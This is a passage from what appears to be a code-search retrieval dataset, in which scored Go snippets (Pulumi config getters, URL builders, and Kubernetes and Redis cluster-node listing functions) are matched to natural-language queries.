\"/\")\n}", "title": "" }, { "docid": "9cb5ab66a2141ea9797865d12c4eb0fd", "score": "0.46407083", "text": "func (b *RCalifornia) url(s string) string {\n\treturn \"https://\" + \"www.\" + \"reserve\" + \"california.com\" + s\n}", "title": "" }, { "docid": "30c7300765fb2f03f2cddb016f27beee", "score": "0.46347126", "text": "func (o NodeTemplateAmazonec2ConfigOutput) HttpEndpoint() pulumi.StringPtrOutput {\n\treturn o.ApplyT(func(v NodeTemplateAmazonec2Config) *string { return v.HttpEndpoint }).(pulumi.StringPtrOutput)\n}", "title": "" }, { "docid": "1acba00cdc4ce1e21e34b5a5480d1d07", "score": "0.46337354", "text": "func (o NotifierPagerdutyConfigOutput) ProxyUrl() pulumi.StringPtrOutput {\n\treturn o.ApplyT(func(v NotifierPagerdutyConfig) *string { return v.ProxyUrl }).(pulumi.StringPtrOutput)\n}", "title": "" }, { "docid": "265ee12bb8f59cb2c2ebd92d28c33a21", "score": "0.4632688", "text": "func (o MachineConfigV2Amazonec2ConfigPtrOutput) HttpEndpoint() pulumi.StringPtrOutput {\n\treturn o.ApplyT(func(v *MachineConfigV2Amazonec2Config) *string {\n\t\tif v == nil {\n\t\t\treturn nil\n\t\t}\n\t\treturn v.HttpEndpoint\n\t}).(pulumi.StringPtrOutput)\n}", "title": "" }, { "docid": "b76148e3430e36eaef826242a1d6a8de", "score": "0.46251804", "text": "func (o DomainMappingStatusResponseOutput) Url() pulumi.StringOutput {\n\treturn o.ApplyT(func(v DomainMappingStatusResponse) string { return v.Url }).(pulumi.StringOutput)\n}", "title": "" }, { "docid": "4fc8f7c7bb551e37ab1639974aaa257b", "score": "0.46191484", "text": "func targetServerURL(fqdn string, IPAddress string) (string, error) {\n\tpath := fqdn\n\tif path == \"\" {\n\t\tpath = IPAddress\n\t}\n\tpath = path + \"/\"\n\n\tbaseURL, err := url.Parse(path)\n\tif err != nil {\n\t\treturn \"\", errors.Wrap(err, err.Error())\n\t}\n\tbaseURL.Scheme = \"https\"\n\n\treturn baseURL.String(), nil\n}", "title": "" }, { "docid": "6c8889d992ea435cf2008bac49b6ea78", "score": "0.4617165", "text": "func (o NotifierWechatConfigOutput) ProxyUrl() pulumi.StringPtrOutput {\n\treturn o.ApplyT(func(v NotifierWechatConfig) *string { return v.ProxyUrl }).(pulumi.StringPtrOutput)\n}", "title": "" }, { "docid": "4dcd747e38d0082f8512aad76c6a634c", "score": "0.4606086", "text": "func MaxMindUpdateURL(hostname, productID, licenseKey string) (string, error) {\n\tbaseurl := \"https://\" + hostname + \"/app/\"\n\t// Get the file name for the product ID.\n\tu := baseurl + \"geoip_download?edition_id=\" + productID + \"&date=&license_key=\" + licenseKey + \"&suffix=tar.gz\"\n\treturn u, nil\n}", "title": "" }, { "docid": "427bcc63859d952379d326282cf427bb", "score": "0.46056405", "text": "func (r UpdateLoadBalancerRequest) GetRegionId() string {\n return r.RegionId\n}", "title": "" }, { "docid": "7cbdabb9630c013f08239c14f254d55d", "score": "0.46028364", "text": "func (o NodeTemplateAmazonec2ConfigPtrOutput) HttpEndpoint() pulumi.StringPtrOutput {\n\treturn o.ApplyT(func(v *NodeTemplateAmazonec2Config) *string {\n\t\tif v == nil {\n\t\t\treturn nil\n\t\t}\n\t\treturn v.HttpEndpoint\n\t}).(pulumi.StringPtrOutput)\n}", "title": "" }, { "docid": "48cdf6e2ca97e85b1b0038b88840747c", "score": "0.4599129", "text": "func (o DistributionResponseOutput) Url() pulumi.StringOutput {\n\treturn o.ApplyT(func(v DistributionResponse) string { return v.Url }).(pulumi.StringOutput)\n}", "title": "" }, { "docid": "9a18864f2d686f2bb6af9159b03b0474", "score": "0.45947525", "text": "func (o BasisOutput) ResourceUrl() pulumi.StringPtrOutput {\n\treturn o.ApplyT(func(v Basis) *string { return v.ResourceUrl }).(pulumi.StringPtrOutput)\n}", "title": "" }, { "docid": "fb7ac6782022f9503aa1a0e2b1706dc1", "score": "0.45946985", "text": "func (o MachineConfigV2OpenstackConfigOutput) AuthUrl() pulumi.StringOutput {\n\treturn o.ApplyT(func(v MachineConfigV2OpenstackConfig) string { return v.AuthUrl }).(pulumi.StringOutput)\n}", "title": "" }, { "docid": "56765c4250e5093a233d7a8817ad2197", "score": "0.4585792", "text": "func (o LookupNetworkResultOutput) Region() pulumi.StringOutput {\n\treturn o.ApplyT(func(v LookupNetworkResult) string { return v.Region }).(pulumi.StringOutput)\n}", "title": "" }, { "docid": "65d09dabfc0a9c0506b67074515115a6", "score": "0.45846137", "text": "func (o ClusterAksConfigV2Output) BaseUrl() pulumi.StringPtrOutput {\n\treturn o.ApplyT(func(v ClusterAksConfigV2) *string { return v.BaseUrl }).(pulumi.StringPtrOutput)\n}", "title": "" }, { "docid": "8d0234c2516c7c976637e483b1bda005", "score": "0.4584464", "text": "func (api *API) Url() string {\n\treturn api.url\n}", "title": "" }, { "docid": "0e98343b017aa27ce3dd68efc43ef97a", "score": "0.458331", "text": "func (o ProjectSourceBuildStatusConfigOutput) TargetUrl() pulumi.StringPtrOutput {\n\treturn o.ApplyT(func(v ProjectSourceBuildStatusConfig) *string { return v.TargetUrl }).(pulumi.StringPtrOutput)\n}", "title": "" }, { "docid": "b0096b49f2eb615e8664afb1c206b4e7", "score": "0.45732465", "text": "func (o NotifierSlackConfigPtrOutput) ProxyUrl() pulumi.StringPtrOutput {\n\treturn o.ApplyT(func(v *NotifierSlackConfig) *string {\n\t\tif v == nil {\n\t\t\treturn nil\n\t\t}\n\t\treturn v.ProxyUrl\n\t}).(pulumi.StringPtrOutput)\n}", "title": "" } ]
c3a1da9f5e9fd6e7681afae82f8a5390
GetAllContainersNotInCluster is used to fetch all nodes that are eligible to be added into a cluster
[ { "docid": "17ef14fcd4cea5e417fe6cc1d3576b62", "score": "0.83067495", "text": "func GetAllContainersNotInCluster(dbConn *sql.DB) ([]Container, error) {\n\tvar rows *sql.Rows\n\tvar err error\n\tqueryStr := fmt.Sprintf(\"select c.id, c.name, c.clusterid, c.serverid, c.role, c.image, to_char(c.createdt, 'MM-DD-YYYY HH24:MI:SS'), p.id, p.name, s.name, l.name from project p, server s , container c left join cluster l on c.clusterid = l.id where c.role != 'standalone' and c.clusterid = -1 and c.projectid = p.id and c.serverid = s.id order by c.name\")\n\tlogit.Info.Println(\"admindb:GetAllContainersNotInCluster:\" + queryStr)\n\trows, err = dbConn.Query(queryStr)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tdefer rows.Close()\n\tcontainers := make([]Container, 0)\n\tfor rows.Next() {\n\t\tcontainer := Container{}\n\t\tif err = rows.Scan(&container.ID, &container.Name, &container.ClusterID, &container.ServerID, &container.Role, &container.Image, &container.CreateDate, &container.ProjectID, &container.ProjectName, &container.ServerName, &container.ClusterName); err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\tcontainer.ClusterName = container.ClusterID\n\t\tcontainers = append(containers, container)\n\t}\n\tif err = rows.Err(); err != nil {\n\t\treturn nil, err\n\t}\n\treturn containers, nil\n}", "title": "" } ]
[ { "docid": "eaa4f80a6444bb115f7a73fab280b2d9", "score": "0.6135317", "text": "func getNonControlPlaneNodes(ctx context.Context, cli clientset.Interface) ([]corev1.Node, error) {\n\tnodeList, err := cli.CoreV1().Nodes().List(ctx, metav1.ListOptions{})\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tif len(nodeList.Items) == 0 {\n\t\treturn nil, fmt.Errorf(\"no nodes found in the cluster\")\n\t}\n\n\tcontrolPlaneTaint := corev1.Taint{\n\t\tEffect: corev1.TaintEffectNoSchedule,\n\t\tKey: \"node-role.kubernetes.io/control-plane\",\n\t}\n\tout := []corev1.Node{}\n\tfor _, node := range nodeList.Items {\n\t\tif !taintutils.TaintExists(node.Spec.Taints, &controlPlaneTaint) {\n\t\t\tout = append(out, node)\n\t\t}\n\t}\n\n\tif len(out) == 0 {\n\t\treturn nil, fmt.Errorf(\"no non-control-plane nodes found in the cluster\")\n\t}\n\treturn out, nil\n}", "title": "" }, { "docid": "faf867d499756b38ba8a4c8cedc5efa5", "score": "0.610513", "text": "func (c *Container) GetClusterNodes(ctx echo.Context) error {\n response := models.ClusterNodesResponse{\n Data: []models.NodeData{},\n }\n tabletServersFuture := make(chan helpers.TabletServersFuture)\n clusterConfigFuture := make(chan helpers.ClusterConfigFuture)\n go helpers.GetTabletServersFuture(helpers.HOST, tabletServersFuture)\n go helpers.GetClusterConfigFuture(helpers.HOST, clusterConfigFuture)\n tabletServersResponse := <-tabletServersFuture\n if tabletServersResponse.Error != nil {\n return ctx.String(http.StatusInternalServerError,\n tabletServersResponse.Error.Error())\n }\n // Use the cluster config API to get the read-replica (If any) placement UUID\n clusterConfigResponse := <-clusterConfigFuture\n readReplicaUuid := \"\"\n if clusterConfigResponse.Error == nil {\n for _, replica := range clusterConfigResponse.\n ClusterConfig.ReplicationInfo.ReadReplicas {\n readReplicaUuid = replica.PlacementUuid\n }\n }\n mastersFuture := make(chan helpers.MastersFuture)\n go helpers.GetMastersFuture(helpers.HOST, mastersFuture)\n\n nodeList := helpers.GetNodesList(tabletServersResponse)\n versionInfoFutures := map[string]chan helpers.VersionInfoFuture{}\n for _, nodeHost := range nodeList {\n versionInfoFuture := make(chan helpers.VersionInfoFuture)\n versionInfoFutures[nodeHost] = versionInfoFuture\n go helpers.GetVersionFuture(nodeHost, versionInfoFuture)\n }\n activeYsqlConnectionsFutures := map[string]chan helpers.ActiveYsqlConnectionsFuture{}\n activeYcqlConnectionsFutures := map[string]chan helpers.ActiveYcqlConnectionsFuture{}\n masterMemTrackersFutures := map[string]chan helpers.MemTrackersFuture{}\n tserverMemTrackersFutures := map[string]chan helpers.MemTrackersFuture{}\n for _, nodeHost := range nodeList {\n activeYsqlConnectionsFuture := make(chan helpers.ActiveYsqlConnectionsFuture)\n activeYsqlConnectionsFutures[nodeHost] = activeYsqlConnectionsFuture\n go helpers.GetActiveYsqlConnectionsFuture(nodeHost, activeYsqlConnectionsFuture)\n activeYcqlConnectionsFuture := make(chan helpers.ActiveYcqlConnectionsFuture)\n activeYcqlConnectionsFutures[nodeHost] = activeYcqlConnectionsFuture\n go helpers.GetActiveYcqlConnectionsFuture(nodeHost, activeYcqlConnectionsFuture)\n masterMemTrackerFuture := make(chan helpers.MemTrackersFuture)\n masterMemTrackersFutures[nodeHost] = masterMemTrackerFuture\n go helpers.GetMemTrackersFuture(nodeHost, true, masterMemTrackerFuture)\n tserverMemTrackerFuture := make(chan helpers.MemTrackersFuture)\n tserverMemTrackersFutures[nodeHost] = tserverMemTrackerFuture\n go helpers.GetMemTrackersFuture(nodeHost, false, tserverMemTrackerFuture)\n }\n masters := map[string]helpers.Master{}\n mastersResponse := <-mastersFuture\n if mastersResponse.Error == nil {\n for _, master := range mastersResponse.Masters {\n if len(master.Registration.PrivateRpcAddresses) > 0 {\n masters[master.Registration.PrivateRpcAddresses[0].Host] = master\n }\n }\n }\n currentTime := time.Now().UnixMicro()\n hostToUuid, errHostToUuidMap := helpers.GetHostToUuidMap(helpers.HOST)\n for placementUuid, obj := range tabletServersResponse.Tablets {\n // Cross check the placement UUID of the node with that of read-replica cluster\n isReadReplica := false\n if readReplicaUuid == placementUuid {\n isReadReplica = true\n }\n for hostport, nodeData := range obj {\n host, _, err := net.SplitHostPort(hostport)\n // If we can split hostport, just use host as name.\n // Otherwise, use hostport as name.\n // However, we can only get version information if we can get the host\n hostName := hostport\n versionNumber := \"\"\n activeYsqlConnections := int64(0)\n activeYcqlConnections := int64(0)\n isMasterUp := true\n ramUsedTserver := int64(0)\n ramUsedMaster := int64(0)\n ramLimitTserver := int64(0)\n ramLimitMaster := int64(0)\n masterUptimeUs := int64(0)\n totalDiskBytes := int64(0)\n if err == nil {\n hostName = host\n versionInfo := <-versionInfoFutures[hostName]\n if versionInfo.Error == nil {\n versionNumber = versionInfo.VersionInfo.VersionNumber\n }\n ysqlConnections := <-activeYsqlConnectionsFutures[hostName]\n if ysqlConnections.Error == nil {\n activeYsqlConnections += ysqlConnections.YsqlConnections\n }\n ycqlConnections := <-activeYcqlConnectionsFutures[hostName]\n if ycqlConnections.Error == nil {\n activeYcqlConnections += ycqlConnections.YcqlConnections\n }\n masterMemTracker := <-masterMemTrackersFutures[hostName]\n if masterMemTracker.Error == nil {\n ramUsedMaster = masterMemTracker.Consumption\n ramLimitMaster = masterMemTracker.Limit\n }\n tserverMemTracker := <-tserverMemTrackersFutures[hostName]\n if tserverMemTracker.Error == nil {\n ramUsedTserver = tserverMemTracker.Consumption\n ramLimitTserver = tserverMemTracker.Limit\n }\n if master, ok := masters[hostName]; ok {\n isMasterUp = master.Error == nil\n if isMasterUp {\n masterUptimeUs = currentTime - master.InstanceId.StartTimeUs\n }\n }\n if errHostToUuidMap == nil {\n query :=\n fmt.Sprintf(QUERY_LIMIT_ONE, \"system.metrics\", \"total_disk\",\n hostToUuid[hostName])\n session, err := c.GetSession()\n if err == nil {\n iter := session.Query(query).Iter()\n var ts int64\n var value int64\n var details string\n iter.Scan(&ts, &value, &details)\n totalDiskBytes = value\n }\n }\n }\n totalSstFileSizeBytes := int64(nodeData.TotalSstFileSizeBytes)\n uncompressedSstFileSizeBytes :=\n int64(nodeData.UncompressedSstFileSizeBytes)\n userTabletsTotal := int64(nodeData.UserTabletsTotal)\n userTabletsLeaders := int64(nodeData.UserTabletsLeaders)\n systemTabletsTotal := int64(nodeData.SystemTabletsTotal)\n systemTabletsLeaders := int64(nodeData.SystemTabletsLeaders)\n activeConnections := models.NodeDataMetricsActiveConnections{\n Ysql: activeYsqlConnections,\n Ycql: activeYcqlConnections,\n }\n ramUsedBytes := ramUsedMaster + ramUsedTserver\n ramProvisionedBytes := ramLimitMaster + ramLimitTserver\n isBootstrapping := true\n // For now we hard code isBootstrapping here, and we use the\n // GetIsLoadBalancerIdle endpoint separately to determine if\n // a node is bootstrapping on the frontend, since yb-admin is a\n // bit slow. Once we get a faster way of doing this we can move\n // the implementation here.\n // For now, assuming that IsMaster and IsTserver are always true\n // The UI frontend doesn't use these values so this should be ok for now\n response.Data = append(response.Data, models.NodeData{\n Name: hostName,\n Host: hostName,\n IsNodeUp: nodeData.Status == \"ALIVE\",\n IsMaster: true,\n IsTserver: true,\n IsReadReplica: isReadReplica,\n IsMasterUp: isMasterUp,\n IsBootstrapping: isBootstrapping,\n Metrics: models.NodeDataMetrics{\n // Eventually we want to change models.NodeDataMetrics so that\n // all the int64 fields are uint64. But currently openapi\n // generator only generates int64s. Ideally if we set\n // minimum: 0 in the specs, the generator should use uint64.\n // We should try to implement this into openapi-generator.\n MemoryUsedBytes: int64(nodeData.RamUsedBytes),\n TotalSstFileSizeBytes: &totalSstFileSizeBytes,\n UncompressedSstFileSizeBytes: &uncompressedSstFileSizeBytes,\n ReadOpsPerSec: nodeData.ReadOpsPerSec,\n WriteOpsPerSec: nodeData.WriteOpsPerSec,\n TimeSinceHbSec: nodeData.TimeSinceHbSec,\n UptimeSeconds: int64(nodeData.UptimeSeconds),\n UserTabletsTotal: userTabletsTotal,\n UserTabletsLeaders: userTabletsLeaders,\n SystemTabletsTotal: systemTabletsTotal,\n SystemTabletsLeaders: systemTabletsLeaders,\n ActiveConnections: activeConnections,\n MasterUptimeUs: masterUptimeUs,\n RamUsedBytes: ramUsedBytes,\n RamProvisionedBytes: ramProvisionedBytes,\n DiskProvisionedBytes: totalDiskBytes,\n },\n CloudInfo: models.NodeDataCloudInfo{\n Cloud: nodeData.Cloud,\n Region: nodeData.Region,\n Zone: nodeData.Zone,\n },\n SoftwareVersion: versionNumber,\n })\n }\n }\n sort.Slice(response.Data, func(i, j int) bool {\n return response.Data[i].Name < response.Data[j].Name\n })\n return ctx.JSON(http.StatusOK, response)\n}", "title": "" }, { "docid": "18bbb7d9c57ae1d63d563c7893108853", "score": "0.6030439", "text": "func getClusterNodeIPs(clientset client.Interface) ([]string, error) {\n\tpreferredAddressTypes := []v1.NodeAddressType{\n\t\tv1.NodeExternalIP,\n\t\tv1.NodeInternalIP,\n\t}\n\tnodeList, err := clientset.CoreV1().Nodes().List(metav1.ListOptions{})\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tnodeAddresses := []string{}\n\tfor _, node := range nodeList.Items {\n\tOuterLoop:\n\t\tfor _, addressType := range preferredAddressTypes {\n\t\t\tfor _, address := range node.Status.Addresses {\n\t\t\t\tif address.Type == addressType {\n\t\t\t\t\tnodeAddresses = append(nodeAddresses, address.Address)\n\t\t\t\t\tbreak OuterLoop\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\n\treturn nodeAddresses, nil\n}", "title": "" }, { "docid": "ac91e5ac6c0d2c5e5ee8423f63a79718", "score": "0.5981616", "text": "func (h *SchedulingResultHelper) GetUndesiredClusters() ([]*TargetClusterWrapper, []string) {\n\tvar clusters []*TargetClusterWrapper\n\tvar names []string\n\tfor _, cluster := range h.TargetClusters {\n\t\tif cluster.Ready < cluster.Spec {\n\t\t\tclusters = append(clusters, cluster)\n\t\t\tnames = append(names, cluster.ClusterName)\n\t\t}\n\t}\n\treturn clusters, names\n}", "title": "" }, { "docid": "7b59589c4f22b90fa9fe0a4689fd3186", "score": "0.5911791", "text": "func FindClusterNodesIPs(gremlinClient GremlinNodeGetter) ([]string, error) {\n\tnodes, err := gremlinClient.GetNodes(g.G.V().Has(\"Manager\", \"k8s\", \"Type\", \"node\"))\n\tif err != nil {\n\t\treturn []string{}, err\n\t}\n\n\tips := []string{}\n\tfor _, node := range nodes {\n\t\tip, err := extractNodeIP(node)\n\t\tif err == nil && ip != \"\" {\n\t\t\tips = append(ips, ip)\n\t\t}\n\t}\n\treturn ips, nil\n}", "title": "" }, { "docid": "b32127f3695b6f7256ad4b0ab50ff898", "score": "0.59116256", "text": "func GetAllStandbyContainers(dbConn *sql.DB, clusterid string) ([]Container, error) {\n\tvar rows *sql.Rows\n\tvar err error\n\tqueryStr := fmt.Sprintf(\"select c.id, c.name, c.clusterid, c.serverid, c.role, c.image, to_char(c.createdt, 'MM-DD-YYYY HH24:MI:SS'), p.id, p.name, s.name from project p, server s, container c where c.role = 'standby' and c.clusterid = %s and c.projectid = p.id and c.serverid = s.id\", clusterid)\n\tlogit.Info.Println(\"admindb:GetAllStandbyContainers:\" + queryStr)\n\trows, err = dbConn.Query(queryStr)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tdefer rows.Close()\n\tvar clustername string\n\tcontainers := make([]Container, 0)\n\tfor rows.Next() {\n\t\tcontainer := Container{}\n\t\tif err = rows.Scan(&container.ID, &container.Name, &container.ClusterID, &container.ServerID, &container.Role, &container.Image, &container.CreateDate, &container.ProjectID, &container.ProjectName, &container.ServerName); err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\tif container.ClusterID != \"-1\" {\n\t\t\tclustername, err = GetClusterName(dbConn, container.ClusterID)\n\t\t\tif err != nil {\n\t\t\t\tlogit.Info.Println(\"admindb:GetContainerPgPool:error \" + err.Error())\n\t\t\t\treturn nil, err\n\t\t\t}\n\t\t\tcontainer.ClusterName = clustername\n\t\t}\n\t\tcontainers = append(containers, container)\n\t}\n\tif err = rows.Err(); err != nil {\n\t\treturn nil, err\n\t}\n\treturn containers, nil\n}", "title": "" }, { "docid": "0e8e637be326a421e0ddf5d85f577703", "score": "0.5864457", "text": "func getContainerInstances(\n\taws awsECSClient,\n\tstate *ecsState,\n\tcluster string,\n\tclusterTasks map[arn]taskInst,\n) error {\n\t// Having collected all the running task data for this cluster pull\n\t// container instance IDs\n\tciids := []arn{}\n\tfor tarn, t := range clusterTasks {\n\t\tcarn := arnValue(t.ContainerInstanceArn)\n\t\tif carn == \"\" {\n\t\t\tconsole.Error().Printf(\"Task %s contained container instance with no ARN\", tarn)\n\t\t\tcontinue\n\t\t}\n\t\tciids = append(ciids, carn)\n\t}\n\t// ...and get a description of them.\n\tciids = sortDedupeARNs(ciids)\n\tnewContainerInsts, err := aws.GetContainerInstances(\n\t\tstate.live.containerInstances, cluster, ciids...)\n\tif err != nil {\n\t\treturn err\n\t}\n\tfor k, v := range newContainerInsts {\n\t\tstate.live.containerInstances[k] = v\n\t}\n\n\treturn nil\n}", "title": "" }, { "docid": "dc71c21deb2ce0264f08132580382942", "score": "0.5806501", "text": "func (connection *Connection) GetClusterNodes() []*URL {\n\tif connection.IsCluster() {\n\t\treturn connection.adabasToData.transactions.clusterNodes\n\t}\n\treturn make([]*URL, 0)\n}", "title": "" }, { "docid": "899029e1e7300260eae2740111060c91", "score": "0.56704354", "text": "func GetAllClusterNode(client redigo.Conn, role string, choose string) ([]string, error) {\n\tret, err := client.Do(\"cluster\", \"nodes\")\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tnodeList := ParseClusterNode(ret.([]byte))\n\tnodeListChoose := ClusterNodeChoose(nodeList, role)\n\n\tresult := make([]string, 0, len(nodeListChoose))\n\tfor _, ele := range nodeListChoose {\n\t\tif choose == \"id\" {\n\t\t\tresult = append(result, ele.Id)\n\t\t} else {\n\t\t\tresult = append(result, ele.Address)\n\t\t}\n\t}\n\n\treturn result, nil\n}", "title": "" }, { "docid": "a0cc03b1fe648e103e23c5af36775943", "score": "0.55801773", "text": "func ClusterIdNotIn(vs ...uint) predicate.Agent {\n\tv := make([]interface{}, len(vs))\n\tfor i := range v {\n\t\tv[i] = vs[i]\n\t}\n\treturn predicate.Agent(func(s *sql.Selector) {\n\t\t// if not arguments were provided, append the FALSE constants,\n\t\t// since we can't apply \"IN ()\". This will make this predicate falsy.\n\t\tif len(v) == 0 {\n\t\t\ts.Where(sql.False())\n\t\t\treturn\n\t\t}\n\t\ts.Where(sql.NotIn(s.C(FieldClusterId), v...))\n\t})\n}", "title": "" }, { "docid": "0997c65b04a7f17f59e8bd9f1e679a15", "score": "0.55691755", "text": "func getClusterNodesIP(kubeClient *unversioned.Client, nodeSelector string) (clusterNodes []string) {\n\tlistOpts := api.ListOptions{}\n\n\tif nodeSelector != \"\" {\n\t\tlabel, err := labels.Parse(nodeSelector)\n\t\tif err != nil {\n\t\t\tglog.Fatalf(\"'%v' is not a valid selector: %v\", nodeSelector, err)\n\t\t}\n\t\tlistOpts.LabelSelector = label\n\t}\n\n\tnodes, err := kubeClient.Nodes().List(listOpts)\n\tif err != nil {\n\t\tglog.Fatalf(\"Error getting running nodes: %v\", err)\n\t}\n\n\tfor _, nodo := range nodes.Items {\n\t\tnodeIP, err := node.GetNodeHostIP(&nodo)\n\t\tif err == nil {\n\t\t\tclusterNodes = append(clusterNodes, nodeIP.String())\n\t\t}\n\t}\n\tsort.Strings(clusterNodes)\n\n\treturn\n}", "title": "" }, { "docid": "1f29cecb5d7d4de66f4731ff13cdac22", "score": "0.5531785", "text": "func (cluster *HttpCluster) NonActive() []string {\n\tcluster.RLock()\n\tdefer cluster.RUnlock()\n\tmember := cluster.active\n\tlist := make([]string, 0)\n\tfor i := 0; i < cluster.size; i++ {\n\t\tif member.status == MEMBER_UNAVAILABLE {\n\t\t\tlist = append(list, member.hostname)\n\t\t}\n\t}\n\treturn list\n}", "title": "" }, { "docid": "89c78649a5b16d31c59f137466861b62", "score": "0.55204356", "text": "func ClusterIdNotIn(vs ...uint) predicate.K8sEvent {\n\tv := make([]interface{}, len(vs))\n\tfor i := range v {\n\t\tv[i] = vs[i]\n\t}\n\treturn predicate.K8sEvent(func(s *sql.Selector) {\n\t\t// if not arguments were provided, append the FALSE constants,\n\t\t// since we can't apply \"IN ()\". This will make this predicate falsy.\n\t\tif len(v) == 0 {\n\t\t\ts.Where(sql.False())\n\t\t\treturn\n\t\t}\n\t\ts.Where(sql.NotIn(s.C(FieldClusterId), v...))\n\t})\n}", "title": "" }, { "docid": "edc2151d04e0db505d963ba85c0ad169", "score": "0.55195427", "text": "func GetClusterNodes(cs *framework.ClientSet) (int, error) {\n\tnodes, err := getNodesByLabel(cs, \"\")\n\tif err != nil {\n\t\treturn 0, fmt.Errorf(\"unable to get the number of cluster nodes: %v\", err)\n\t}\n\n\treturn len(nodes), nil\n}", "title": "" }, { "docid": "24f47a484247149dfc423d46452ea7b0", "score": "0.55071515", "text": "func (c *Context) ListNodes(alsoStopped bool) (containerIDs []string, err error) {\n\tcmd := exec.Command(\"docker\", \"ps\")\n\tcmd.Args = append(cmd.Args,\n\t\t// quiet output for parsing\n\t\t\"-q\",\n\t\t// filter for nodes with the cluster label\n\t\t\"--filter\", \"label=\"+c.ClusterLabel(),\n\t)\n\t// optionally list nodes that are stopped\n\tif alsoStopped {\n\t\tcmd.Args = append(cmd.Args, \"-a\")\n\t}\n\treturn cmd.CombinedOutputLines()\n}", "title": "" }, { "docid": "290d50034f6ae1b5fd1ef7a07698dcad", "score": "0.5488631", "text": "func (c *Client) Nodes(ctx context.Context) ([]*NodeInfo, error) {\n\tctrs, err := c.d.ContainerList(ctx, types.ContainerListOptions{\n\t\tAll: true,\n\t})\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\t// small function to restart a stopped node\n\trestartNode := func(node NodeInfo) error {\n\t\tvar l = c.l.With(\"node\", node)\n\t\tl.Infow(\"restarting stopped node\")\n\t\tif err := c.CreateNode(ctx, &node, NodeOpts{}); err != nil {\n\t\t\tl.Errorw(\"failed to restart node\",\n\t\t\t\t\"error\", err)\n\t\t\treturn err\n\t\t}\n\t\treturn nil\n\t}\n\n\t// parse node data, restarting stopped containers if necessary\n\tvar (\n\t\tnodes = make([]*NodeInfo, 0)\n\t\tignored = 0\n\t\trestarts = 0\n\t\tfailed = 0\n\t)\n\tfor _, container := range ctrs {\n\t\tvar l = c.l.With(\"container.id\", container.ID, \"container.name\", container.Names[0])\n\t\tn, err := newNode(container.ID, container.Names[0], container.Labels)\n\t\tif err != nil {\n\t\t\tl.Debugw(\"container ignored\", \"reason\", err)\n\t\t\tignored++\n\t\t\tcontinue\n\t\t}\n\t\tn.updateFromContainerDetails(&container)\n\t\tl = l.With(\"node\", n)\n\t\tif isStopped(container.State) {\n\t\t\tif err := restartNode(n); err != nil {\n\t\t\t\tl.Errorw(\"node container failed to restart - removing\", \"error\", err)\n\t\t\t\tif err := c.StopNode(ctx, &n); err != nil {\n\t\t\t\t\tl.Warn(\"failed to stop node\", \"error\", err)\n\t\t\t\t}\n\t\t\t\tfailed++\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\trestarts++\n\t\t}\n\t\tnodes = append(nodes, &n)\n\t}\n\n\t// report activity\n\tc.l.Infow(\"all nodes checked\",\n\t\t\"found\", len(ctrs),\n\t\t\"valid\", len(nodes),\n\t\t\"ignored\", ignored,\n\t\t\"restarts\", restarts,\n\t\t\"failed_restarts\", failed)\n\n\treturn nodes, nil\n}", "title": "" }, { "docid": "edd0e5edbf1bea6c77b559f9bef86ecc", "score": "0.5476389", "text": "func waitForClusterToNotExist(capiClient capiclientset.Interface, namespace, name string) error {\n\treturn waitForObjectToNotExist(\n\t\tnamespace, name,\n\t\tfunc(namespace, name string) (metav1.Object, error) {\n\t\t\treturn getCluster(capiClient, namespace, name)\n\t\t},\n\t)\n}", "title": "" }, { "docid": "06e0c2ed4d8cb011ece8b868a4b4bc08", "score": "0.54598165", "text": "func (s *RpcClient) GetClusterNodes(ctx context.Context) ([]GetClusterNodesResponse, error) {\n\tres := struct {\n\t\tGeneralResponse\n\t\tResult []GetClusterNodesResponse `json:\"result\"`\n\t}{}\n\terr := s.request(ctx, \"getClusterNodes\", []interface{}{}, &res)\n\tif err != nil {\n\t\treturn []GetClusterNodesResponse{}, err\n\t}\n\tif res.Error != nil {\n\t\treturn []GetClusterNodesResponse{}, errors.New(res.Error.Message)\n\t}\n\treturn res.Result, nil\n}", "title": "" }, { "docid": "351ba02fc52dd9e6175dcb69ada7e455", "score": "0.54567355", "text": "func GetContainerInstances(cluster string, service string) ([]string, error) {\n\tsvc := assertECS()\n\tinput := &ecs.ListTasksInput{}\n\tinput.SetCluster(cluster)\n\tif service != \"\" {\n\t\tinput.SetServiceName(service)\n\t}\n\tresult, err := svc.ListTasks(input)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tinput2 := &ecs.DescribeTasksInput{}\n\tinput2.SetCluster(cluster)\n\tinput2.SetTasks(result.TaskArns)\n\tresult2, err := svc.DescribeTasks(input2)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tinstances := make([]*string, len(result2.Tasks))\n\tfor i, t := range result2.Tasks {\n\t\tinstances[i] = t.ContainerInstanceArn\n\t}\n\tinstanceInput := &ecs.DescribeContainerInstancesInput{}\n\tinstanceInput.SetCluster(cluster)\n\tinstanceInput.SetContainerInstances(instances)\n\tresult3, err := svc.DescribeContainerInstances(instanceInput)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tec2svc := assertEC2()\n\tiinput := &ec2.DescribeInstancesInput{}\n\tec2instances := make([]*string, len(result3.ContainerInstances))\n\tfor i, ci := range result3.ContainerInstances {\n\t\tec2instances[i] = ci.Ec2InstanceId\n\t}\n\tiinput.SetInstanceIds(ec2instances)\n\tresult4, err := ec2svc.DescribeInstances(iinput)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tdnsNames := make([]string, len(result4.Reservations))\n\tfor i, r := range result4.Reservations {\n\t\tdnsNames[i] = *r.Instances[0].PublicDnsName\n\t}\n\treturn dnsNames, nil\n}", "title": "" }, { "docid": "d1f42552942966c6ce25fe493575f3bc", "score": "0.5455284", "text": "func (s *ClusterListener) ListNodes(inctx context.Context, in *protocol.Reference) (_ *protocol.ClusterNodeListResponse, err error) {\n\tdefer fail.OnExitConvertToGRPCStatus(inctx, &err)\n\tdefer fail.OnExitWrapError(inctx, &err, \"cannot list cluster nodes\")\n\n\tif s == nil {\n\t\treturn nil, fail.InvalidInstanceError()\n\t}\n\tif inctx == nil {\n\t\treturn nil, 